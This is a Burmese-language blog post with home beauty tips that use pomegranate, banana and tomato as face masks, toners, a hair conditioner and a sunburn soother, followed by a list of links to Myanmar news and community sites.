အနီေရာင္သလဲသီးမွာ အဆီျပန္တတ္ေသာ အသားအေရအတြက္ အထူးသင္႕ေတာ္ပါတယ္.. သလဲသီးမွာ အေရျပားအတြက္ အက်ဳိးျဖစ္ေစေသာ AHA ပါ၀င္ေသာေၾကာင္႕ ေခၽြးေပါက္မ်ားကို က်ဥ္းေစႏိုင္ျပီး ဗီတာမင္စီလည္း ေပါမ်ားစြာ ပါ၀င္ေသာေၾကာင္႔ သဘာ၀ တိုနာအျဖစ္ အသံုးျပဳႏိုင္ပါတယ္.. ၾကိတ္ေခ်ထားေသာ သလဲသီးေစ႔မ်ားျဖင္႕ မ်က္ႏွာျပင္ေပၚ ေျဖးညွင္းစြာ ပြတ္တိုက္ေပးပါက အဆီပိုမ်ားကို ဖယ္ရွားပစ္ျပီး မ်က္ႏွာျပင္အေရျပားကို လန္းဆန္းလာေစႏိုင္ပါတယ္.. သလဲသီးရည္ျဖင္႔ မ်က္ႏွာျပင္ေပၚ ၁၀မိနစ္ခန္႔ ႏွိပ္နယ္ျပီး ေရစင္ေအာင္ေဆးလိုက္ပါက ေတာက္ပၾကည္လင္ေနေသာ မ်က္ႏွာျပင္ကို ပိုင္ဆိုင္ေစႏိုင္ပါတယ္..
ငွက္ေပ်ာသီးဟာ အေရျပားနာက်င္မႈကို သက္သာေစဖို႕ အေကာင္းဆံုး ေဆးတစ္လက္လို အသံုး၀င္ပါတယ္… ငွက္ေပ်ာသီးမွာ ပရုိတိန္းနဲ႔ သဘာ၀ အဆီဓာတ္မ်ား ေပါမ်ားစြာ ပါ၀င္ေသာေၾကာင္႔ မည္သည္႔အေရျပား အမ်ဳိးအစားနဲ႔မဆို သင္႕ေလ်ာ္ပါတယ္.. ငွက္ေပ်ာသီးကို လက္ႏွင္႔ေခ်မြ၍ မ်က္ႏွာေပၚတြင္ မိနစ္ ၂၀ခန္႔ မ်က္ႏွာေပါင္းတင္ထားျပီး ေရခပ္ေႏြးေႏြးျဖင္႔ သန္႔စင္ေဆးေၾကာကာ Moisturize လိမ္းေပးပါက အေရျပားကို ႏုညံ႕သန္႔စင္ေစသလို ေခ်မြထားေသာ ငွက္ေပ်ာသီးကို ပ်ားရည္တစ္ဇြန္းျဖင္႔ ေရာစပ္၍ ဆံပင္အတြက္ Conditioner အျဖစ္အသံုးျပဳပါက ေတာက္ပႏူးညံ႔ေသာ ဆံပင္သားကို လွပစြာ ဖန္တီးႏိုင္ပါတယ္..
ခရမ္းခ်ဥ္သီးသည္လည္း အေရျပားအတြက္ အစြမ္းထက္ေသာ အေထာက္အကူျပဳ အသီးတစ္ မ်ဳိးျဖစ္ပါတယ္.. ေနပူထဲ အခ်ိန္ၾကာၾကာသြားလာ၍ ေနေလာင္ျခင္းျဖစ္ပါက ခရမ္းခ်ဥ္သီးႏွင္႔ သခြားသီး အရည္ကို ေရာေႏွာ၍ေနေလာင္ေသာ ေနရာသို႔၁၀မိနစ္ခန္႔လိမ္းျပီး ေရျဖင္႕ ေဆးေၾကာလိုက္ပါက ေနေလာင္  ျခင္းမွ သိသိသာသာ သက္သာသြားေစႏိုင္ပါတယ္.. ပ်ားရည္ႏွင္႕ ခရမ္းခ်ဥ္သီးအရည္ အေရာအေႏွာကို မ်က္ႏွာေပၚတြင္ ၁၅မိနစ္ခန္႔ ေပါင္းတင္ထားျပီး ေရျဖင္႕ေဆးေၾကာလိုက္ခ်ိန္တြင္ မွန္ထဲတြင္ သန္႔ရွင္းေတာက္ေျပာင္၍ ၀င္းလက္ေနေသာ မ်က္ႏွာျပင္ကို ဖန္တီးႏိုင္ပါတယ္.. ခရမ္းခ်ဥ္သီးကို အေရျပား သန္႔စင္လွပဖို႕ ပံုမွန္အသံုးျပဳပါက ထူးျခားထင္ရွားစြာ ၀င္းလဲ႔ေတာက္ပေသာ အေရျပားအလွ ကို ေတြ႔ရမွာ ျဖစ္ပါတယ္..

Shared from http://jacbaburma.blogspot.com/2010/12/blog-post_5129.html
>>>ဆက္ဖတ္ရန္>>> >>

Nattalin Township

သူရိယ အလင္း - လိုင္းေပါင္းစံု

ေရာင္ေတာ္ဖြင့္လူငယ္အဖြဲ႕ လွုပ္ရွားမွု(နတ္တလင္းၿမိဳ႕)

HEART TO HEART

ဟိတကာရီ နာေရးကူညီမွုအသင္း

DoReMe

Pyithu Hluttaw - ျပည္သူ႔လႊတ္ေတာ္

ရဲဇာနည္

Eleven Media Group

Shwemyanmar media group

Health Articles

အိပ္ေရးပ်က္တဲ့ညမ်ား

ေနာက္တစ္ၾကိမ္ လာလည္ဖို႕ ဖိတ္ေခၚပါတယ္ ဆက္လက္ၾကိဳးစားေပးပါမယ္ .... တာရာ ပြႀကီး